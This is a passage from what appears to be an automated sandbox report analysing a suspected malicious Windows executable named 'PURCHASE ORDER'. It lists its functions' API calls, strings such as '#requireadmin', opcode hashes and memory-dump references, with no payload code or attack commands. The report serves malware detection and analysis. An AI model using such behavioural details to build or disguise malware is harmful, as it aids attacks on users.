                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CreateDirectory$AttributesErrorFileLast_wcslen_wcsncpy_wcsrchr
                                                                          • String ID: \
                                                                          • API String ID: 321622961-2967466578
                                                                          • Opcode ID: 1eb455b432650c328f353f4bd1bc621d200bc06401c5471b489e88a9126e4646
                                                                          • Instruction ID: 68cadaa88695c7c006562ade17844284f7fc34f8e7e15af3b97584e331f528d6
                                                                          • Opcode Fuzzy Hash: 1eb455b432650c328f353f4bd1bc621d200bc06401c5471b489e88a9126e4646
                                                                          • Instruction Fuzzy Hash: 3C2148765003017ADB20A724EC47AFF33989F95764F90993EFD14D6281E779950882AE
                                                                          Function 0044C80C Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 83COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: __wcsnicmp
                                                                          • String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
                                                                          • API String ID: 1038674560-2734436370
                                                                          • Opcode ID: 8fabdde956d602f6b8b7368bcff20dfc7d0b0c72369e2d81c3549115c9808aba
                                                                          • Instruction ID: f72ce1d64a5a3b865947b719243e4701f1ba8c8209579f194a7ae3ad15c73224
                                                                          • Opcode Fuzzy Hash: 8fabdde956d602f6b8b7368bcff20dfc7d0b0c72369e2d81c3549115c9808aba
                                                                          • Instruction Fuzzy Hash: 1B21F87261161067E730B659DCC2BDB63985F65305F04406BF800AA247D6ADA98A83AA
                                                                          Function 00441561 Relevance: 12.1, APIs: 8, Instructions: 101windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • DeleteObject.GDI32(?), ref: 0044157D
                                                                          • GetDC.USER32(00000000), ref: 00441585
                                                                          • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00441590
                                                                          • ReleaseDC.USER32(00000000,00000000), ref: 0044159B
                                                                          • CreateFontW.GDI32(?,00000000,00000000,00000000,?,000000FF,000000FF,000000FF,00000001,00000004,00000000,?,00000000,00000000), ref: 004415E9
                                                                          • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00441601
                                                                          • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00441639
                                                                          • SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00441659
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                                                                          • String ID:
                                                                          • API String ID: 3864802216-0
                                                                          • Opcode ID: ea0a3e179a2db4f205f3d0bf310cedd64f619745dcd59731a2847991c922bb1b
                                                                          • Instruction ID: 4e191e68d33858d232da06d8f8bca50b2e2c885119a5133d865ec5329e905ca2
                                                                          • Opcode Fuzzy Hash: ea0a3e179a2db4f205f3d0bf310cedd64f619745dcd59731a2847991c922bb1b
                                                                          • Instruction Fuzzy Hash: 1531C172240344BBE7208B14CD49FAB77EDEB88B15F08450DFB44AA2D1DAB4ED808B64
                                                                          Function 004140DB Relevance: 12.0, APIs: 8, Instructions: 42threadCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • ___set_flsgetvalue.LIBCMT ref: 004140E1
                                                                            • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                                                            • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                            • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                                                                          • ___fls_getvalue@4.LIBCMT ref: 004140EC
                                                                            • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                          • ___fls_setvalue@8.LIBCMT ref: 004140FF
                                                                            • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                          • GetLastError.KERNEL32(00000000,?,00000000), ref: 00414108
                                                                          • ExitThread.KERNEL32 ref: 0041410F
                                                                          • GetCurrentThreadId.KERNEL32 ref: 00414115
                                                                          • __freefls@4.LIBCMT ref: 00414135
                                                                          • __IsNonwritableInCurrentImage.LIBCMT ref: 00414148
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Value$CurrentThread__decode_pointer$ErrorExitImageLastNonwritable___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
                                                                          • String ID:
                                                                          • API String ID: 1925773019-0
                                                                          • Opcode ID: 78c5a7e04feddb60afef3bdf2204f5ea6d2fca564e255d6fa6df859771c1ea47
                                                                          • Instruction ID: d0499dd1a11a7aa3f5f6b81cdb2be0183561266298d4129ec5ef95b8f2f1ff50
                                                                          • Opcode Fuzzy Hash: 78c5a7e04feddb60afef3bdf2204f5ea6d2fca564e255d6fa6df859771c1ea47
                                                                          • Instruction Fuzzy Hash: 12018430000200ABC704BFB2DD0D9DE7BA9AF95345722886EF90497212DA3CC9C28B5C
                                                                          Function 004357AD Relevance: 12.0, APIs: 8, Instructions: 36COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • VariantClear.OLEAUT32(00000038), ref: 004357C3
                                                                          • VariantClear.OLEAUT32(00000058), ref: 004357C9
                                                                          • VariantClear.OLEAUT32(00000068), ref: 004357CF
                                                                          • VariantClear.OLEAUT32(00000078), ref: 004357D5
                                                                          • VariantClear.OLEAUT32(00000088), ref: 004357DE
                                                                          • VariantClear.OLEAUT32(00000048), ref: 004357E4
                                                                          • VariantClear.OLEAUT32(00000098), ref: 004357ED
                                                                          • VariantClear.OLEAUT32(000000A8), ref: 004357F6
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ClearVariant
                                                                          • String ID:
                                                                          • API String ID: 1473721057-0
                                                                          • Opcode ID: 108e33c2045b04221b4df3f02cd388125a51a7e0134505e60bdc817f2fb2f336
                                                                          • Instruction ID: 4669651a97e20320d925a323ac357da1b1419afffb7c9eb93274aad60c959a81
                                                                          • Opcode Fuzzy Hash: 108e33c2045b04221b4df3f02cd388125a51a7e0134505e60bdc817f2fb2f336
                                                                          • Instruction Fuzzy Hash: BDF03CB6400B446AC235EB79DC40BD7B7E86F89200F018E1DE58783514DA78F588CB64
                                                                          Function 00464A0E Relevance: 10.8, APIs: 7, Instructions: 281networkmemoryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • WSAStartup.WSOCK32(00000101,?,?), ref: 00464ADE
                                                                            • Part of subcall function 0045EFE7: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,0047D14B,?,?,?,?), ref: 0045F003
                                                                          • inet_addr.WSOCK32(?,00000000,?,?,00000101,?,?), ref: 00464B1F
                                                                          • gethostbyname.WSOCK32(?,?,00000000,?,?,00000101,?,?), ref: 00464B29
                                                                          • _memset.LIBCMT ref: 00464B92
                                                                          • GlobalAlloc.KERNEL32(00000040,00000040), ref: 00464B9E
                                                                          • GlobalFree.KERNEL32(00000000), ref: 00464CDE
                                                                          • WSACleanup.WSOCK32 ref: 00464CE4
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Global$AllocByteCharCleanupFreeMultiStartupWide_memsetgethostbynameinet_addr
                                                                          • String ID:
                                                                          • API String ID: 3424476444-0
                                                                          • Opcode ID: 3a9821fb802cba04523fcb9c1f83c74fd5b22343f7d4654d6e4056c4a41f6a01
                                                                          • Instruction ID: 8d90feaebe95447676150adcea4a136074f650e12d33839f26a9dde16614cdb7
                                                                          • Opcode Fuzzy Hash: 3a9821fb802cba04523fcb9c1f83c74fd5b22343f7d4654d6e4056c4a41f6a01
                                                                          • Instruction Fuzzy Hash: A3A17EB1504300AFD710EF65C982F9BB7E8AFC8714F54491EF64497381E778E9058B9A
                                                                          Function 00440B39 Relevance: 10.8, APIs: 7, Instructions: 261COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetSystemMetrics.USER32(0000000F), ref: 00440B7B
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MetricsSystem
                                                                          • String ID:
                                                                          • API String ID: 4116985748-0
                                                                          • Opcode ID: eff4c90f3403bcfb76001cffaab33834930133fcb34fa8184a7caea4de8066d9
                                                                          • Instruction ID: 1e23dbab6d9439f1299be2c39bdf7de0481ead398f869a6d5eaf0ea33fa99bdf
                                                                          • Opcode Fuzzy Hash: eff4c90f3403bcfb76001cffaab33834930133fcb34fa8184a7caea4de8066d9
                                                                          • Instruction Fuzzy Hash: 8EA19C70608701DBE314CF68C984B6BBBE1FB88704F14491EFA8593251E778F965CB5A
                                                                          Function 0046AB70 Relevance: 10.8, APIs: 7, Instructions: 260registryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                          • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046AC62
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ConnectRegistry_wcslen
                                                                          • String ID:
                                                                          • API String ID: 535477410-0
                                                                          • Opcode ID: 37987dacba266e2f7d681c7555595b89ca1c624194ad33880a6965c3691367fb
                                                                          • Instruction ID: 71109d01e6e71572d3d886d5d9f1e4ab699fb1be984f768d753da2f0a00da466
                                                                          • Opcode Fuzzy Hash: 37987dacba266e2f7d681c7555595b89ca1c624194ad33880a6965c3691367fb
                                                                          • Instruction Fuzzy Hash: BBA18EB1204300AFC710EF65C885B1BB7E4BF85704F14896EF685AB292D779E905CB9B
                                                                          Function 0045377F Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                            • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                          • _memset.LIBCMT ref: 004538C4
                                                                          • GetMenuItemInfoW.USER32(?,?), ref: 004538EF
                                                                          • _wcslen.LIBCMT ref: 00453960
                                                                          • SetMenuItemInfoW.USER32(00000011,?,00000000,?), ref: 004539C4
                                                                          • SetMenuDefaultItem.USER32(?,000000FF,00000000,?,?), ref: 004539E0
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ItemMenu$Info_wcslen$Default_memset_wcscpy
                                                                          • String ID: 0
                                                                          • API String ID: 3530711334-4108050209
                                                                          • Opcode ID: 95001eb6d8d06d897afce0aca893f4b7651020868193ca3a80220c39ecb6f9c3
                                                                          • Instruction ID: 97d09e0af2b4d046480d7fb626e7fa0667c22e7462995616ff61acde959b3bac
                                                                          • Opcode Fuzzy Hash: 95001eb6d8d06d897afce0aca893f4b7651020868193ca3a80220c39ecb6f9c3
                                                                          • Instruction Fuzzy Hash: 747118F15083015AD714DF65C881B6BB7E4EB98396F04491FFD8082292D7BCDA4CC7AA
                                                                          Function 0047395A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 227COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetCurrentProcessId.KERNEL32(?), ref: 00473A00
                                                                          • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00473A0E
                                                                          • GetProcessIoCounters.KERNEL32(00000000,?), ref: 00473A34
                                                                          • CloseHandle.KERNEL32(00000000,00000000,?,00000028), ref: 00473C01
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Process$CloseCountersCurrentHandleOpen
                                                                          • String ID: HH
                                                                          • API String ID: 3488606520-2761332787
                                                                          • Opcode ID: 12402d889b8d2545f97f81e579d11a3e1d05628ef8a47b4e2ac7d1c45517ac81
                                                                          • Instruction ID: 2161edc7e7eefe464b48455ffcea7dd3157e2cbe85e131cccd8837112284b0a3
                                                                          • Opcode Fuzzy Hash: 12402d889b8d2545f97f81e579d11a3e1d05628ef8a47b4e2ac7d1c45517ac81
                                                                          • Instruction Fuzzy Hash: 3581BF71A043019FD320EF69C882B5BF7E4AF84744F108C2EF598AB392D675E945CB96
                                                                          Function 004472C8 Relevance: 10.7, APIs: 7, Instructions: 207COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                            • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                            • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                            • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                            • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                          • Ellipse.GDI32(?,?,?,00000000), ref: 00447463
                                                                          • MoveToEx.GDI32(?,?,?,00000000), ref: 00447473
                                                                          • AngleArc.GDI32(?,?,?,?,?,?), ref: 004474B6
                                                                          • LineTo.GDI32(?,?), ref: 004474BF
                                                                          • CloseFigure.GDI32(?), ref: 004474C6
                                                                          • SetPixel.GDI32(?,?,?,?), ref: 004474D6
                                                                          • Rectangle.GDI32(?,?), ref: 004474F3
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Object$Select$AngleBeginCloseCreateDeleteEllipseFigureLineMovePathPixelRectangle
                                                                          • String ID:
                                                                          • API String ID: 4082120231-0
                                                                          • Opcode ID: 3e823f4574af11f26be8c20bd8771cfecf2a7ea1363ae8038588c787c8c49515
                                                                          • Instruction ID: e2e17d079c8faeb919f1a119f9aa9df975eabc7d00289576b12f70c1741c819b
                                                                          • Opcode Fuzzy Hash: 3e823f4574af11f26be8c20bd8771cfecf2a7ea1363ae8038588c787c8c49515
                                                                          • Instruction Fuzzy Hash: BC713AB11083419FD300DF15C884E6BBBE9EFC9708F148A1EF99497351D778A906CBAA
                                                                          Function 00447303 Relevance: 10.7, APIs: 7, Instructions: 192COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                            • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                            • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                            • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                            • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                          • Ellipse.GDI32(?,?,?,00000000), ref: 00447463
                                                                          • MoveToEx.GDI32(?,?,?,00000000), ref: 00447473
                                                                          • AngleArc.GDI32(?,?,?,?,?,?), ref: 004474B6
                                                                          • LineTo.GDI32(?,?), ref: 004474BF
                                                                          • CloseFigure.GDI32(?), ref: 004474C6
                                                                          • SetPixel.GDI32(?,?,?,?), ref: 004474D6
                                                                          • Rectangle.GDI32(?,?), ref: 004474F3
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Object$Select$AngleBeginCloseCreateDeleteEllipseFigureLineMovePathPixelRectangle
                                                                          • String ID:
                                                                          • API String ID: 4082120231-0
                                                                          • Opcode ID: bd92991fb0a59d5160a547c0af993f50d26037df712543aebae1afc8709768cb
                                                                          • Instruction ID: 71053adf7dd607ae91079c2ca5de7ffea4483cc305881a9741cc2e8bc8d6f2cf
                                                                          • Opcode Fuzzy Hash: bd92991fb0a59d5160a547c0af993f50d26037df712543aebae1afc8709768cb
                                                                          • Instruction Fuzzy Hash: 55613BB51083419FD300DF55CC84E6BBBE9EBC9308F148A1EF99597351D738A906CB6A
                                                                          Function 0044733D Relevance: 10.7, APIs: 7, Instructions: 177COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: AngleCloseEllipseFigureLineMovePixelRectangle
                                                                          • String ID:
                                                                          • API String ID: 288456094-0
                                                                          • Opcode ID: d308d32173f93e4cd5527eec6d709d72f3e0fef6f2bd509874fda6c33d0c9603
                                                                          • Instruction ID: d3db7697bfba14f4a3ad6627a8a5faa1010559558ae5e3f89cc6b0bd66950af4
                                                                          • Opcode Fuzzy Hash: d308d32173f93e4cd5527eec6d709d72f3e0fef6f2bd509874fda6c33d0c9603
                                                                          • Instruction Fuzzy Hash: 90514BB51082419FD300DF15CC84E6BBBE9EFC9308F14891EF99497351D734A906CB6A
                                                                          Function 0044496C Relevance: 10.7, APIs: 7, Instructions: 164windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetParent.USER32(?), ref: 004449B0
                                                                          • GetKeyboardState.USER32(?), ref: 004449C3
                                                                          • SetKeyboardState.USER32(?), ref: 00444A0F
                                                                          • PostMessageW.USER32(?,00000101,00000010,?), ref: 00444A3F
                                                                          • PostMessageW.USER32(?,00000101,00000011,?), ref: 00444A60
                                                                          • PostMessageW.USER32(?,00000101,00000012,?), ref: 00444AAC
                                                                          • PostMessageW.USER32(?,00000101,0000005B,?), ref: 00444AD1
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessagePost$KeyboardState$Parent
                                                                          • String ID:
                                                                          • API String ID: 87235514-0
                                                                          • Opcode ID: d47ceab968b999e6d4944081d81f2373d9ea27f049f07d95c13b51a59d3cc885
                                                                          • Instruction ID: 19c159416ad4887e81d4090d30fbb5c505c675cee05c330e2fd8e115592bd25d
                                                                          • Opcode Fuzzy Hash: d47ceab968b999e6d4944081d81f2373d9ea27f049f07d95c13b51a59d3cc885
                                                                          • Instruction Fuzzy Hash: B651C5A05487D139F7369234884ABA7BFD55F8A304F08CA4EF1E5156C3D2ECE984C769
                                                                          Function 00444B65 Relevance: 10.7, APIs: 7, Instructions: 164windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetParent.USER32(?), ref: 00444BA9
                                                                          • GetKeyboardState.USER32(?), ref: 00444BBC
                                                                          • SetKeyboardState.USER32(?), ref: 00444C08
                                                                          • PostMessageW.USER32(?,00000100,00000010,?), ref: 00444C35
                                                                          • PostMessageW.USER32(?,00000100,00000011,?), ref: 00444C53
                                                                          • PostMessageW.USER32(?,00000100,00000012,?), ref: 00444C9C
                                                                          • PostMessageW.USER32(?,00000100,0000005B,?), ref: 00444CBE
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
